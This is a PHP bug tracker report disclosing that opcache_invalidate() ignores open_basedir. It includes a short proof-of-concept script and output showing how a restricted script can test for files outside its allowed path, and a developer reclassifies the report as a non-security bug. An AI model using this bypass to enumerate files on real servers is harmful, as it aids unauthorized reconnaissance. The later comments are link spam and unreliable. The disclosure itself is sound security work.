php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #81230 open_basedir bypass through opcache_invalidate()
Submitted: 2021-07-07 18:50 UTC Modified: 2021-07-12 17:24 UTC
From: jeffbencteux at gmail dot com Assigned:
Status: Open Package: opcache
PHP Version: 8.0.8 OS: Debian 10
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: jeffbencteux at gmail dot com
New email:
PHP Version: OS:

 

 [2021-07-07 18:50 UTC] jeffbencteux at gmail dot com
Description:
------------
Similar to bug #81131.

It is possible to test for files and directories existence by using the $filename parameter of the opcache_invalidate() PHP function, thus bypassing open_basedir restriction.

A potential attacker could enumerate files with the help of a dictionary.

The root cause seems to be that this function does not enforce checks for open_basedir restrictions.

Test script:
---------------
<?php
/* 
Assuming:

* web root in /var/www/html/
* php.ini with open_basedir = /var/www/html/restricted

mkdir /var/www/html/restricted
echo "test" > /var/www/html/test.txt

The current file is located in /var/www/html/restricted/test.php
*/

echo opcache_invalidate("../test.txt");
?>

Expected result:
----------------
Warning: opcache_invalidate(): open_basedir restriction in effect. File(/var/www/html/test.txt) is not within the allowed path(s): (/var/www/html/restricted) in /var/www/html/restricted/test.php on line 14


Actual result:
--------------
1

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-07-12 15:35 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:35 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 [2024-01-16 21:20 UTC] wed4fgd_ffg1 at gmail dot com
Nice solution...!

https://vintagewatches.pk?Rado-Watches-Pakistan-github.com
 [2024-05-13 08:22 UTC] jeannette9728miller at outlook dot com
That was so amazing. 

(https://github.com)(https://www.maxim-timeclock.com)
 [2024-07-25 16:35 UTC] bayuoscar dot bo at gmail dot com
Great post!
(https://github.com)(https://www.rakyatresah.com)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 12:01:31 2024 UTC